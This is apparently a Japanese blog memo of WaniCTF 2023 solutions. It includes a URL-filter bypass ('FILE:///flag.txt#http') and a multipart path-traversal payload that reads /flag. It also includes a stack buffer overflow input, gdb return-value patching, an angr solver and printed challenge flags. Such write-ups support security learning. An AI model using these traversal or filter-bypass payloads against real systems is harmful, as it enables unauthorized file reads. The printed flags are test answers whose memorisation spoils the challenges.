0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

WaniCTF 2023 writeupではなく、自分用メモ

Last updated at Posted at 2023-05-06

後で勉強した問題

beg_for_a_peg

なんで、これやってなかったんだろ? 楽勝じゃん。
image.png

lowkey_messedup

今まで活躍してくれてた「usb_pcap.py」が動かず、すぐにあきらめてしまっていた。
力技でも解けるパケット数だったが、「それは最後の手段」と後回しにしてたら、加齢による記憶喪失で忘れてた。

usb_pcap.pyが動かなかった原因は、切り出すべきデータの判定場所が今まで扱ったことがあるpcapと違っていた。

キー情報ありのパケット
image.png

キー情報なしのパケット
image.png

本データでは、16バイト目を使うべきであった。

usb_pcap.pyの一部
    pcap = rdpcap("chall.pcap")
    usb_data = []
    for pkt in pcap:
        buf = pkt['Raw'].load
        #if buf[22] == '\x01':     #以前動いてた
        if buf[16] == '\x01':           #今回はこっち
            usb_data.append(buf[27:])
    return usb_data

screenshot

提供されたjsからわかる、しばり

      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

全てに気づかなかった
・file://でアクセスすると、Bad Requestになるところを、FILE://にすれば突破できること
・httpを含めるために # (フラグメント識別子)を使うこと→存在しない識別子があってもエラーにならず無視される
・file://flag.txtだと相対パス中のflag.txtで、file:///flag.txtとすると絶対パスとなること

正解

image.png

image.png

なお、FILE://../../../../../../../flag.txt#httpがInternal Errorになる理由がわからない

Extract Service 1

これは、officeファイルの拡張子をzipに変えて、中のリンクを変えて/flagを取ろうとしてどつぼにはまった。

一時、burp使って、

------WebKitFormBoundaryCxg4BQjmtLSWyhx6
Content-Disposition: form-data; name="target"

word/document.xml
------WebKitFormBoundaryCxg4BQjmtLSWyhx6--

------WebKitFormBoundaryCxg4BQjmtLSWyhx6
Content-Disposition: form-data; name="target"

/flag
------WebKitFormBoundaryCxg4BQjmtLSWyhx6--

に変えたけど、
../../../../../../../flag
にすれば通ることに気づかなかった。

失敗例

image.png

成功例

image.png

解けた問題

IndexedDB

Burp Suite で記録するだけ

64bps

たぶん64bpsに制限してるので、応答にものづごく時間がかかる。

dd if=/dev/random of=2gb.txt bs=1M count=2048
cat flag.txt >> 2gb.txt
rm flag.txt

フラグは尻についてるので、ピンポイントでGetする。
そのためには、サイズが必要なので、Burp Suiteを使ってGETをHEADに変えてアクセス。
サイズが2147483697とわかるので分割ダウンロード

$ curl -r 2147483638-2147483697 https://64bps-web.wanictf.org/2gb.txt -o flag.txt

Just_Passw0rd

サクラエディタでフラグがとれる

javersing

JADXでデコンパイルすると、

for (int i = 0; i < 30; i++) {
    if (replace.charAt((i * 7) % 30) != "Fcn_yDlvaGpj_Logi}eias{iaeAm_s".charAt(i)) { 
       z = false;
    }
}

が見える。

あとは並べ替えるだけ。

enc = ["F","c","n","_","y","D","l","v","a","G","p","j","_","L","o","g","i","}","e","i","a","s","{","i","a","e","A","m","_","s"]
ans = enc

for i in range(30):
    ans[( i * 7 ) % 30] = enc[i]

for i in range(30):
    print(ans[i],end="")

fermat

elfなので、まず、ghidraする

flagはここにある
image.png

以前ならGhidraスクリプト書いてたが、加齢により、書けなくなった。

xrefで呼び出し元であるmain関数に戻るとcheck関数が見えた。

check
  if (((param_1 < 3) || (param_2 < 3)) || (param_3 < 3)) {
    uVar1 = 0;
  }
  else {
    if (param_1 * param_1 * param_1 + param_2 * param_2 * param_2 == param_3 * param_3 * param_3) {
      uVar1 = 1;
    }
    else {
      uVar1 = 0;
    }

そんな都合のいい数値ないよ。
gdbでcheck関数の戻り値を書き換えて、flagを表示させる系の問題か。

フラグを得るまでのgdbコマンド
# ./fermat
Input a> 1
Input b> 1
Input c> 1
(a, b, c) = (1, 1, 1)
Invalid value :(

## gdb ./fermat 

gdb-peda$ b main
gdb-peda$ r
gdb-peda$ pdisass main
gdb-peda$ b *0x00005555555554c5
gdb-peda$ c
Input a> 1
Input b> 1
Input c> 1
(a, b, c) = (1, 1, 1)
Breakpoint 2, 0x00005555555554c5 in main ()
gdb-peda$ set $rax=0x1
gdb-peda$ c
Continuing.
wow :o
FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}

01. netcat

ncするだけ

02. only once

  int score = 0, chall = 1;
  char buf[8];

チェレンジ回数1回なのに3問正解しないといけない。
バッファオーバーフローでチャレンジ回数を増やす。

$ nc only-once-pwn.wanictf.org 9002

+---------------------------------------+
| your score: 0, remaining 1 challenges |
+---------------------------------------+

753 + 729 = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Oops...

(略)

FLAG{y0u_4r3_600d_47_c41cu14710n5!}

EZDORSA_Lv1

p = 3
q = 5
n = p*q
e = 65535
c ≡ m^e (mod n) ≡ 10 (mod n)
ん?最後の式の右辺の10は答えでは?

Prompt

ChatGPTみたいな問題

image.png

Just_mp4

プロパティを見るだけ

whats_happening

青い空を見上げればいつもそこに白い猫でファイルを切り出すだけ

theseus

angr問題

angr.py
# coding: UTF-8
#!/usr/bin/env python3
import angr
import logging

logging.getLogger("angr").setLevel("CRITICAL")
angr.manager.l.setLevel("CRITICAL")
proj = angr.Project("./chall")

simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1))
if len(simgr.found) > 0:
    found = simgr.found[0].posix.dumps(0).decode("utf-8", "ignore")
    print(found)

angrの実行

# workon angr
(angr) # python angr.py 
WARNING | 2023-05-05 20:12:23,798 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
FLAG{vKCsq3jl4j_Y0uMade1t}
(angr) # deactivate
#
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?